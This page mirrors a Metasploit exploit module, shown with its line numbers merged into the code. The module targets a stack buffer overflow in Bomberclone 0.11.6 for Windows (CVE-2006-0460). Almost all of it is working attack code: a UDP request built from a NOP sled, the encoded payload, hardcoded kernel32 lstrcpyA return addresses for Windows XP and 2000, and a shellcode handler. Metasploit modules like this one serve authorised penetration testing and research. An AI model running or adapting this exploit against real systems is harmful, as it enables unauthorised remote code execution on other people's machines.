Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bomberclone_overflow.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Bomberclone 0.11.6 Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.15The return address is overwritten with lstrcpyA memory address,16the second and third value are the destination buffer,17the fourth value is the source address of our buffer in the stack.18This exploit is like a return in libc.1920ATTENTION21The shellcode is exec ONLY when someone try to close bomberclone.22},23'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',24'References' =>25[26['CVE', '2006-0460'],27['OSVDB', '23263'],28['BID', '16697']29],30'Payload' =>31{32'Space' => 344,33'BadChars' => "\x00"34},35'Platform' => 'win',36'Targets' =>37[38['Windows XP SP2 Italian', { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA39['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA40['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA41],42'Privileged' => false,43'DisclosureDate' => '2006-02-16'44))4546register_options([ Opt::RPORT(11000) ])47end4849def exploit50connect_udp5152pattern = make_nops(421)53pattern << payload.encoded54pattern << [ target.ret ].pack('V')55pattern << "\x04\xec\xfd\x7f" * 256pattern << "\xa4\xfa\x22\x00"5758request = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"5960print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")6162udp_sock.put(request)63udp_sock.get(5)6465handler(udp_sock)66disconnect_udp67end68end697071